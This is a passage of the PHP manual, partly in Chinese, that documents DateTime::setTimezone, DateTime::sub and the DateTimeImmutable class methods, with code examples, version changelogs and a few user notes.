
面向对象风格

<?php
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

过程化风格

<?php
$date = date_create('2000-01-01', timezone_open('Pacific/Nauru'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";

date_timezone_set($date, timezone_open('Pacific/Chatham'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";
?>

以上示例会输出：

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

参见

  • DateTimeImmutable::setTimezone() - Sets the time zone
  • DateTime::getTimezone() - 返回相对于指定 DateTime 的时区
  • DateTimeZone::__construct() - 创建新的DateTimeZone对象

User Contributed Notes

There are no user contributed notes for this page.


对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

  • ? DateTime::setTimezone
  • DateTimeImmutable ?
  • PHP Manual
  • DateTime
  • 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

DateTime::sub

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::sub -- date_sub — 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

说明

面向对象风格

public DateTime::sub(DateInterval $interval): DateTime

过程化风格

date_sub(DateTime $object, DateInterval $interval): DateTime

对指定 DateTime 对象，减去指定 DateInterval 对象。

跟 DateTimeImmutable::sub() 一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

interval

DateInterval 对象

返回值

返回方法链修改后的 DateTime 对象。

错误／异常

仅限于面向对象的API：如果尝试不受支持的操作，比如使用 DateInterval 对象表示相对时间规格（如 next weekday）的，将会抛出 DateInvalidOperationException。

更新日志

版本 | 说明
8.3.0 | 当尝试执行不受支持的操作时，DateTime::sub() 现在会抛出 DateInvalidOperationException，而不是警告。date_sub() 尚未更改。

参见

  • DateTimeImmutable::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds

User Contributed Notes

There are no user contributed notes for this page.


The DateTimeImmutable class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

Representation of date and time.

This class behaves the same as DateTime except new objects are returned when modification methods such as DateTime::modify() are called.

类摘要

class DateTimeImmutable implements DateTimeInterface {
/* 继承的常量 */
public const string DateTimeInterface::ATOM = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T";
public const string DateTimeInterface::ISO8601 = "Y-m-d\\TH:i:sO";
public const string DateTimeInterface::ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC822 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T";
public const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC3339 = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string DateTimeInterface::RSS = "D, d M Y H:i:s O";
public const string DateTimeInterface::W3C = "Y-m-d\\TH:i:sP";
/* 方法 */
public __construct(string $datetime = "now", ?DateTimeZone $timezone = null)
public add(DateInterval $interval): DateTimeImmutable
public static createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false
public static createFromInterface(DateTimeInterface $object): DateTimeImmutable
public static createFromMutable(DateTime $object): static
public static getLastErrors(): array|false
public modify(string $modifier): DateTimeImmutable|false
public static __set_state(array $array): DateTimeImmutable
public setDate(int $year, int $month, int $day): DateTimeImmutable
public setISODate(int $year, int $week, int $dayOfWeek = 1): DateTimeImmutable
public setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTimeImmutable
public setTimestamp(int $timestamp): DateTimeImmutable
public setTimezone(DateTimeZone $timezone): DateTimeImmutable
public sub(DateInterval $interval): DateTimeImmutable
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

更新日志

版本 | 说明
7.1.0 | The DateTimeImmutable constructor now includes the current microseconds in the constructed value. Before this, it would always initialise the microseconds to 0.

Table of Contents

  • DateTimeImmutable::add — Returns a new object, with added amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::__construct — Returns new DateTimeImmutable object
  • DateTimeImmutable::createFromFormat — Parses a time string according to a specified format
  • DateTimeImmutable::createFromInterface — Returns new DateTimeImmutable object encapsulating the given DateTimeInterface object
  • DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable instance encapsulating the given DateTime object
  • DateTimeImmutable::getLastErrors — Returns the warnings and errors
  • DateTimeImmutable::modify — Creates a new object with modified timestamp
  • DateTimeImmutable::__set_state — The __set_state handler
  • DateTimeImmutable::setDate — Sets the date
  • DateTimeImmutable::setISODate — Sets the ISO date
  • DateTimeImmutable::setTime — Sets the time
  • DateTimeImmutable::setTimestamp — Sets the date and time based on a Unix timestamp
  • DateTimeImmutable::setTimezone — Sets the time zone
  • DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds

User Contributed Notes

There are no user contributed notes for this page.


Returns a new object, with added amount of days, months, years, hours, minutes and seconds

  • ? DateTimeImmutable
  • DateTimeImmutable::__construct ?
  • PHP Manual
  • DateTimeImmutable
  • Returns a new object, with added amount of days, months, years, hours, minutes and seconds

DateTimeImmutable::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::add — Returns a new object, with added amount of days, months, years, hours, minutes and seconds

说明

public DateTimeImmutable::add(DateInterval $interval): DateTimeImmutable

Creates a new DateTimeImmutable object, and adds the specified DateInterval object to this, to represent the new value.

参数

interval

A DateInterval object

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

示例

Example #1 DateTimeImmutable::add() example

面向对象风格

<?php
$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('P10D'));
echo $newDate->format('Y-m-d') . "\n";
?>

Example #2 Further DateTimeImmutable::add() examples

<?php
$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('PT10H30S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";

$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

以上示例会输出：

2000-01-01 10:00:30
2007-06-05 04:03:02

Example #3 Beware when adding months

<?php
$date = new DateTimeImmutable('2000-12-31');
$interval = new DateInterval('P1M');

$newDate1 = $date->add($interval);
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->add($interval);
echo $newDate2->format('Y-m-d') . "\n";
?>

以上示例会输出：

2001-01-31
2001-03-03

参见

  • DateTimeImmutable::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::diff() - 返回两个 DateTime 之间的差值
  • DateTimeImmutable::modify() - Creates a new object with modified timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTimeImmutable object

  • ? DateTimeImmutable::add
  • DateTimeImmutable::createFromFormat ?
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable object

DateTimeImmutable::__construct

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__construct -- date_create_immutable — Returns new DateTimeImmutable object

说明

面向对象风格

public DateTimeImmutable::__construct(string $datetime = "now", ?DateTimeZone $timezone = null)

过程化风格

date_create_immutable(string $datetime = "now", ?DateTimeZone $timezone = null): DateTimeImmutable|false

Returns new a DateTimeImmutable object.

参数

datetime

日期/时间字符串。正确格式的说明详见 日期与时间格式。

Enter "now" here to obtain the current time when using the $timezone parameter.

timezone

A DateTimeZone object representing the timezone of $datetime.

If $timezone is omitted or null, the current timezone will be used.

Note:

The $timezone parameter and the current timezone are ignored when the $datetime parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00, or 2010-07-05T06:00:00Z).

返回值

Returns a new DateTimeImmutable instance.

错误／异常

If an invalid Date/Time string is passed, DateMalformedStringException is thrown. Previous to PHP 8.3, this was Exception.

更新日志

版本 | 说明
8.3.0 | Now throws DateMalformedStringException if an invalid string is passed, instead of Exception.
7.1.0 | From now on microseconds are filled with actual value. Not with '00000'.

示例

Example #1 DateTimeImmutable::__construct() example

面向对象风格

<?php
try {
$date = new DateTimeImmutable('2000-01-01');
} catch (Exception $e) {
echo $e->getMessage();
exit(1);
}

echo $date->format('Y-m-d');
?>

过程化风格

<?php
$date = date_create('2000-01-01');
if (!$date) {
$e = date_get_last_errors();
foreach ($e['errors'] as $error) {
echo "$error\n";
}
exit(1);
}

echo date_format($date, 'Y-m-d');
?>

以上示例会输出：

2000-01-01

Example #2 Intricacies of DateTimeImmutable::__construct()

<?php
// Specified date/time in your computer's time zone.
$date = new DateTimeImmutable('2000-01-01');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Specified date/time in the specified time zone.
$date = new DateTimeImmutable('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in your computer's time zone.
$date = new DateTimeImmutable();
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in the specified time zone.
$date = new DateTimeImmutable('now', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Using a UNIX timestamp. Notice the result is in the UTC time zone.
$date = new DateTimeImmutable('@946684800');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Non-existent values roll over.
$date = new DateTimeImmutable('2000-02-30');
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

以上示例的输出类似于：

2000-01-01 00:00:00-05:00
2000-01-01 00:00:00+12:00
2010-04-24 10:24:16-04:00
2010-04-25 02:24:16+12:00
2000-01-01 00:00:00+00:00
2000-03-01 00:00:00-05:00

Example #3 Changing the associated timezone

<?php
$timeZone = new \DateTimeZone('Asia/Tokyo');

$time = new \DateTimeImmutable();
$time = $time->setTimezone($timeZone);

echo $time->format('Y/m/d H:i:s'), "\n";
?>

以上示例的输出类似于：

2022/08/12 23:49:23

Example #4 Using a relative date/time string

<?php
$time = new \DateTimeImmutable("-1 year");

echo $time->format('Y/m/d H:i:s'), "\n";
?>

以上示例的输出类似于：

2021/08/12 15:43:51

User Contributed Notes

Dmitrii 05-Apr-2023 10:58
"If $timezone is omitted or null, the current timezone will be used." - note, that timezone IS NOT equal offset, if its important for your application.

If default timezone = Europe/Moscow, then:
echo (new \DateTimeImmutable('2014-10'))->format(DATE_ATOM); // gives "2014-10-01T00:00:00+04:00"
echo (new \DateTimeImmutable('2014-11'))->format(DATE_ATOM); // gives "2014-11-01T00:00:00+03:00"
because of law changes (abolition of "summer time").


Parses a time string according to a specified format

  • ? DateTimeImmutable::__construct
  • DateTimeImmutable::createFromInterface ?
  • PHP Manual
  • DateTimeImmutable
  • Parses a time string according to a specified format

DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::createFromFormat -- date_create_immutable_from_format — Parses a time string according to a specified format

说明

面向对象风格

public static DateTimeImmutable::createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false

过程化风格

date_create_immutable_from_format(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false

Returns a new DateTimeImmutable object representing the date and time specified by the datetime string, which was formatted in the given format.

参数

format

The format that the passed in string should be in. See the formatting options below. In most cases, the same letters as for the date() can be used.

All fields are initialised with the current date/time. In most cases you would want to reset these to "zero" (the Unix epoch, 1970-01-01 00:00:00 UTC). You do that by including the ! character as first character in your format, or | as your last. Please see the documentation for each character below for more information.

The format is parsed from left to right, which means that in some situations the order in which the format characters are present affects the result. In the case of z (the day of the year), it is required that a year has already been parsed, for example through the Y or y characters.

Letters that are used for parsing numbers allow a wide range of values, outside of what the logical range would be. For example, the d (day of the month) accepts values in the range from 00 to 99. The only constraint is on the amount of digits. The date/time parser's overflow mechanism is used when out-of-range values are given. The examples below show some of this behaviour.

This also means that the data parsed for a format letter is greedy, and will read up to the amount of digits its format allows for. That can then also mean that there are no longer enough characters in the datetime string for following format characters. An example on this page also illustrates this issue.

The following characters are recognized in the format parameter string
format character | Description | Example parsable values
Day --- ---
d and j | Day of the month, 2 digits with or without leading zeros | 01 to 31 or 1 to 31. (2 digit numbers higher than the number of days in the month are accepted, in which case they will make the month overflow. For example using 33 with January, means February 2nd)
D and l | A textual representation of a day | Mon through Sun or Sunday through Saturday. If the day name given is different then the day name belonging to a parsed (or default) date is different, then an overflow occurs to the next date with the given day name. See the examples below for an explanation.
S | English ordinal suffix for the day of the month, 2 characters. It's ignored while processing. | st, nd, rd or th.
z | The day of the year (starting from 0); must be preceded by Y or y. | 0 through 365. (3 digit numbers higher than the numbers in a year are accepted, in which case they will make the year overflow. For example using 366 with 2022, means January 2nd, 2023)
Month --- ---
F and M | A textual representation of a month, such as January or Sept | January through December or Jan through Dec
m and n | Numeric representation of a month, with or without leading zeros | 01 through 12 or 1 through 12. (2 digit numbers higher than 12 are accepted, in which case they will make the year overflow. For example using 13 means January in the next year)
Year --- ---
X and x | A full numeric representation of a year, up to 19 digits, optionally prefixed by + or - | Examples: 0055, 787, 1999, -2003, +10191
Y | A full numeric representation of a year, up to 4 digits | Examples: 0055, 787, 1999, 2003
y | A two digit representation of a year (which is assumed to be in the range 1970-2069, inclusive) | Examples: 99 or 03 (which will be interpreted as 1999 and 2003, respectively)
Time --- ---
a and A | Ante meridiem and Post meridiem | am or pm
g and h | 12-hour format of an hour with or without leading zero | 1 through 12 or 01 through 12 (2 digit numbers higher than 12 are accepted, in which case they will make the day overflow. For example using 14 means 02 in the next AM/PM period)
G and H | 24-hour format of an hour with or without leading zeros | 0 through 23 or 00 through 23 (2 digit numbers higher than 24 are accepted, in which case they will make the day overflow. For example using 26 means 02:00 the next day)
i | Minutes with leading zeros | 00 to 59. (2 digit numbers higher than 59 are accepted, in which case they will make the hour overflow. For example using 66 means :06 the next hour)
s | Seconds, with leading zeros | 00 through 59 (2 digit numbers higher than 59 are accepted, in which case they will make the minute overflow. For example using 90 means :30 the next minute)
v | Fraction in milliseconds (up to three digits) | Example: 12 (0.12 seconds), 345 (0.345 seconds)
u | Fraction in microseconds (up to six digits) | Example: 45 (0.45 seconds), 654321 (0.654321 seconds)
Timezone --- ---
e, O, P and T | Timezone identifier, or difference to UTC in hours, or difference to UTC with colon between hours and minutes, or timezone abbreviation | Examples: UTC, GMT, Atlantic/Azores or +0200 or +02:00 or EST, MDT
Full Date/Time --- ---
U | Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) | Example: 1292177455
Whitespace and Separators --- ---
(space) | Zero or more spaces, tabs, NBSP (U+A0), or NNBSP (U+202F) characters | Example: "\t", " "
# One of the following separation symbol: ;, :, /, ., ,, -, ( or ) Example: /
;, :, /, ., ,, -, ( or ) | The specified character. | Example: -
? A random byte Example: ^ (Be aware that for UTF-8 characters you might need more than one ?. In this case, using * is probably what you want instead)
* Random bytes until the next separator or digit Example: * in Y-*-d with the string 2009-aWord-08 will match aWord
! Resets all fields (year, month, day, hour, minute, second, fraction and timezone information) to zero-like values ( 0 for hour, minute, second and fraction, 1 for month and day, 1970 for year and UTC for timezone information) Without !, all fields will be set to the current date and time.
| Resets all fields (year, month, day, hour, minute, second, fraction and timezone information) to zero-like values if they have not been parsed yet Y-m-d| will set the year, month and day to the information found in the string to parse, and sets the hour, minute and second to 0.
+ If this format specifier is present, trailing data in the string will not cause an error, but a warning instead Use DateTimeImmutable::getLastErrors() to find out whether trailing data was present.

Unrecognized characters in the format string will cause the parsing to fail and an error message is appended to the returned structure. You can query error messages with DateTimeImmutable::getLastErrors().

To include literal characters in format, you have to escape them with a backslash (\).

If format does not contain the character ! then portions of the generated date/time which are not specified in format will be set to the current system time.

If format contains the character !, then portions of the generated date/time not provided in format, as well as values to the left-hand side of the !, will be set to corresponding values from the Unix epoch.

If any time character is parsed, then all other time-related fields are set to "0", unless also parsed.

The Unix epoch is 1970-01-01 00:00:00 UTC.

datetime

String representing the time.

timezone

A DateTimeZone object representing the desired time zone.

If timezone is omitted or null and datetime contains no timezone, the current timezone will be used.

Note:

The timezone parameter and the current timezone are ignored when the datetime parameter either contains a UNIX timestamp (e.g. 946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

返回值

Returns a new DateTimeImmutable instance 或者在失败时返回 false.

错误／异常

This method throws ValueError when the datetime contains NULL-bytes.

更新日志

版本 | 说明
8.2.9 | The (space) specifier now also supports NBSP (U+A0) and NNBSP (U+202F) characters.
8.2.0 | The X and x format specifiers have been added.
8.0.21, 8.1.8, 8.2.0 | Now throws ValueError when NULL-bytes are passed into datetime, which previously was silently ignored.
7.3.0 | The v format specifier has been added.

示例

Example #1 DateTimeImmutable::createFromFormat() example

面向对象风格

<?php
$date = DateTimeImmutable::createFromFormat('j-M-Y', '15-Feb-2009');
echo $date->format('Y-m-d');
?>

Example #2 Using predefined format constants with DateTimeImmutable::createFromFormat()

面向对象风格

<?php
$date = DateTimeImmutable::createFromFormat(DateTimeInterface::ISO8601, '2004-02-12T15:19:21+00:00');
$date = DateTimeImmutable::createFromFormat(DateTimeInterface::RFC3339_EXTENDED, '2013-10-14T09:00:00.000+02:00');
?>

The formatting constants as used in this example consist of a string of characters for formatting a DateTimeImmutable object. In most cases, these letters match with the same elements of date/time information as the ones defined in the parameters section above, but they tend to be more lenient.

Example #3 Intricacies of DateTimeImmutable::createFromFormat()

<?php
echo 'Current time: ' . date('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d H:i:s';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-!d H:i:s';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = '!d';
$date = DateTimeImmutable::createFromFormat($format, '15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'i';
$date = DateTimeImmutable::createFromFormat($format, '15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";
?>

以上示例的输出类似于：

Current time: 2022-06-02 15:50:46
Format: Y-m-d; 2009-02-15 15:50:46
Format: Y-m-d H:i:s; 2009-02-15 15:16:17
Format: Y-m-!d H:i:s; 1970-01-15 15:16:17
Format: !d; 1970-01-15 00:00:00
Format: i; 2022-06-02 00:15:00

Example #4 Format string with literal characters

<?php
echo DateTimeImmutable::createFromFormat('H\h i\m s\s','23h 15m 03s')->format('H:i:s');
?>

以上示例的输出类似于：

23:15:03

Example #5 Overflow behaviour

<?php
echo DateTimeImmutable::createFromFormat('Y-m-d H:i:s', '2021-17-35 16:60:97')->format(DateTimeImmutable::RFC2822);
?>

以上示例的输出类似于：

Sat, 04 Jun 2022 17:01:37 +0000

Although the result looks odd, it is correct, as the following overflows happen:

  1. 97 seconds overflows to 1 minute, leaving 37 seconds.
  2. 61 minutes overflows to 1 hour, leaving 1 minutes.
  3. 35 days overflows to 1 month, leaving 4 days. The amount of days that are left over depends on the month, as not every month has the same amount of days.
  4. 18 months overflows to 1 year, leaving 6 months.

Example #6 Overflowing day name behaviour

<?php
$d = DateTime::createFromFormat(DateTimeInterface::RFC1123, 'Mon, 3 Aug 2020 25:00:00 +0000');
echo $d->format(DateTime::RFC1123), "\n";
?>

以上示例的输出类似于：

Mon, 10 Aug 2020 01:00:00 +0000

Although the result looks odd, it is correct, as the following overflows happen:

  1. 3 Aug 2020 25:00:00 overflows to (Tue) 4 Aug 2020 01:00.
  2. Mon gets applied, which advances the date to Mon, 10 Aug 2020 01:00:00. The explanation of relative keywords such as Mon is explained in the section on relative formats.

In order to detect overflows in dates, you can use DateTimeImmutable::getLastErrors(), which will include a warning if an overflow occured.

Example #7 Detecting overflown dates

<?php
$d = DateTimeImmutable::createFromFormat('Y-m-d H:i:s', '2021-17-35 16:60:97');
echo $d->format(DateTimeImmutable::RFC2822), "\n\n";

var_dump(DateTimeImmutable::GetLastErrors());
?>

以上示例的输出类似于：

Sat, 04 Jun 2022 17:01:37 +0000

array(4) {
  'warning_count' =>
  int(2)
  'warnings' =>
  array(1) {
    [19] =>
    string(27) "The parsed date was invalid"
  }
  'error_count' =>
  int(0)
  'errors' =>
  array(0) {
  }
}

Example #8 Greedy parsing behaviour

<?php
print_r(date_parse_from_format('Gis', '60101'));
?>

以上示例的输出类似于：

Array
(
    [year] =>
    [month] =>
    [day] =>
    [hour] => 60
    [minute] => 10
    [second] => 0
    [fraction] => 0
    [warning_count] => 1
    [warnings] => Array
        (
            [5] => The parsed time was invalid
        )

    [error_count] => 1
    [errors] => Array
        (
            [4] => A two digit second could not be found
        )

    [is_localtime] =>
)

The G format is to parse 24 hour clock hours, with or without leading zero. This requires to parse 1 or 2 digits. Because there are two following digits, it greedily reads this as 60.

The following i and s format characters both require two digits. This means that 10 is passed as minute (i), and that there are then not enough digits left to parse for as second (s).

The errors array indicates this problem.

Additionally, an hour of 60 is outside the range 0-24, which causes the warnings array to include a warning that the time is invalid.

参见

  • DateTimeImmutable::__construct() - Returns new DateTimeImmutable object
  • DateTimeImmutable::getLastErrors() - Returns the warnings and errors
  • checkdate() - 验证一个格里高里日期
  • strptime() - 解析由 strftime 生成的日期／时间

User Contributed Notes

Andy Walker 15-Nov-2022 03:24
To clarify, g/G are 12/24 hour time without a leading 0, and h/H are 12/24 hour time with a leading zero, as described here:

https://www.php.net/manual/en/datetime.format.php


Returns new DateTimeImmutable object encapsulating the given DateTimeInterface object

  • ? DateTimeImmutable::createFromFormat
  • DateTimeImmutable::createFromMutable ?
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable object encapsulating the given DateTimeInterface object

DateTimeImmutable::createFromInterface

(PHP 8)

DateTimeImmutable::createFromInterface — Returns new DateTimeImmutable object encapsulating the given DateTimeInterface object

说明

public static DateTimeImmutable::createFromInterface(DateTimeInterface $object): DateTimeImmutable

参数

object

The DateTimeInterface object that needs to be converted to an immutable version. This object is not modified, but instead a new DateTimeImmutable object is created containing the same date, time, and timezone information.

返回值

Returns a new DateTimeImmutable instance.

示例

Example #1 Creating an immutable date time object

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromInterface($date);

$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");
$also_immutable = DateTimeImmutable::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTimeImmutable instance encapsulating the given DateTime object

  • ? DateTimeImmutable::createFromInterface
  • DateTimeImmutable::getLastErrors ?
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable instance encapsulating the given DateTime object

DateTimeImmutable::createFromMutable

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable instance encapsulating the given DateTime object

说明

public static DateTimeImmutable::createFromMutable(DateTime $object): static

参数

object

The mutable DateTime object that you want to convert to an immutable version. This object is not modified, but instead a new DateTimeImmutable instance is created containing the same date time and timezone information.

返回值

Returns a new DateTimeImmutable instance.

更新日志

版本 | 说明
8.0.0 | The method returns an instance of the currently invoked class now. Previously, it created a new instance of DateTimeImmutable.

示例

Example #1 Creating an immutable date time object

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromMutable( $date );
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the warnings and errors

  • ? DateTimeImmutable::createFromMutable
  • DateTimeImmutable::modify ?
  • PHP Manual
  • DateTimeImmutable
  • Returns the warnings and errors

DateTimeImmutable::getLastErrors

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::getLastErrors — Returns the warnings and errors

说明

public static DateTimeImmutable::getLastErrors(): array|false

Returns an array of warnings and errors found while parsing a date/time string.

参数

此函数没有参数。

返回值

Returns array containing info about warnings and errors, or false if there are neither warnings nor errors.

更新日志

版本 | 说明
8.2.0 | Before PHP 8.2.0, this function did not return false when there were no warnings or errors. Instead, it would always return the documented array structure.

示例

Example #1 DateTimeImmutable::getLastErrors() example

<?php
try {
$date = new DateTimeImmutable('asdfasdf');
} catch (Exception $e) {
// For demonstration purposes only...
print_r(DateTimeImmutable::getLastErrors());

// The real object-oriented way to do this is
// echo $e->getMessage();
}
?>

以上示例会输出：

Array
(
   [warning_count] => 1
   [warnings] => Array
       (
           [6] => Double timezone specification
       )

   [error_count] => 1
   [errors] => Array
       (
           [0] => The timezone could not be found in the database
       )

)

The indexes 6, and 0 in the example output refer to the character index in the string where the error occurred.

User Contributed Notes

_mittens 01-Nov-2023 02:28
If you are curious as to when the internal array gets resetted (from https://onlinephp.io/c/3ee35):

<?php

$date0 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-31-31');
var_dump($date0->format('c')); // 2022-07-31T00:00:00+00:00

foreach(range(0,2) as $_)
    // The internal error won't reset
    var_dump( join(DateTimeImmutable::getLastErrors()['warnings']) ); // The parsed date was invalid

$date1 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-12-31');
var_dump($date1->format('c')); // 2020-12-31T00:00:00+00:00

// The internal error did reset
var_dump( empty(DateTimeImmutable::getLastErrors()['warnings']) ); // true

$date2 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-31-31');
var_dump( join(DateTimeImmutable::getLastErrors()['warnings']) ); // The parsed date was invalid
$date3 = new DateTimeImmutable('2023-12-31T00:00:00.000000Z');

// The internal error did reset
var_dump( empty(DateTimeImmutable::getLastErrors()['warnings']) ); // true
?>

Output:
string(25) "2022-07-31T00:00:00+00:00"
string(27) "The parsed date was invalid"
string(27) "The parsed date was invalid"
string(27) "The parsed date was invalid"
string(25) "2020-12-31T00:00:00+00:00"
bool(true)
string(27) "The parsed date was invalid"
bool(true)


Creates a new object with modified timestamp

  • ? DateTimeImmutable::getLastErrors
  • DateTimeImmutable::__set_state ?
  • PHP Manual
  • DateTimeImmutable
  • Creates a new object with modified timestamp

DateTimeImmutable::modify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::modify — Creates a new object with modified timestamp

说明

public DateTimeImmutable::modify(string $modifier): DateTimeImmutable|false

Creates a new DateTimeImmutable object with modified timestamp. The original object is not modified.

参数

modifier

日期/时间字符串。正确格式的说明详见 日期与时间格式。

返回值

Returns a new modified DateTimeImmutable object 或者在失败时返回 false.

错误／异常

If an invalid Date/Time string is passed, DateMalformedStringException is thrown. Previous to PHP 8.3, this was a warning.

更新日志

版本 | 说明
8.3.0 | Now throws DateMalformedStringException if an invalid string is passed, instead of a warning.

示例

Example #1 DateTimeImmutable::modify() example

面向对象风格

<?php
$date = new DateTimeImmutable('2006-12-12');
$newDate = $date->modify('+1 day');
echo $newDate->format('Y-m-d');
?>

以上示例会输出：

2006-12-13

Example #2 Beware when adding or subtracting months

<?php
$date = new DateTimeImmutable('2000-12-31');

$newDate1 = $date->modify('+1 month');
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->modify('+1 month');
echo $newDate2->format('Y-m-d') . "\n";
?>

以上示例会输出：

2001-01-31
2001-03-03

参见

  • DateTimeImmutable::add() - Returns a new object, with added amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::setDate() - Sets the date
  • DateTimeImmutable::setISODate() - Sets the ISO date
  • DateTimeImmutable::setTime() - Sets the time
  • DateTimeImmutable::setTimestamp() - Sets the date and time based on a Unix timestamp

User Contributed Notes

There are no user contributed notes for this page.


The __set_state handler

  • ? DateTimeImmutable::modify
  • DateTimeImmutable::setDate ?
  • PHP Manual
  • DateTimeImmutable
  • The __set_state handler

DateTimeImmutable::__set_state

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__set_state — The __set_state handler

说明

public static DateTimeImmutable::__set_state(array $array): DateTimeImmutable

The __set_state() handler.

参数

array

Initialization array.

返回值

Returns a new instance of a DateTimeImmutable object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the date

  • ? DateTimeImmutable::__set_state
  • DateTimeImmutable::setISODate ?
  • PHP Manual
  • DateTimeImmutable
  • Sets the date

DateTimeImmutable::setDate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setDate — Sets the date

说明

public DateTimeImmutable::setDate(int $year, int $month, int $day): DateTimeImmutable

Returns a new DateTimeImmutable object with the current date of the DateTimeImmutable object set to the given date.

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

year

Year of the date.

month

Month of the date.

day

Day of the date.

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

示例

Example #1 DateTimeImmutable::setDate() example

面向对象风格

<?php
$date = new DateTimeImmutable();
$newDate = $date->setDate(2001, 2, 3);
echo $newDate->format('Y-m-d');
?>

以上示例会输出：

2001-02-03

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTimeImmutable();

$newDate = $date->setDate(2001, 2, 28);
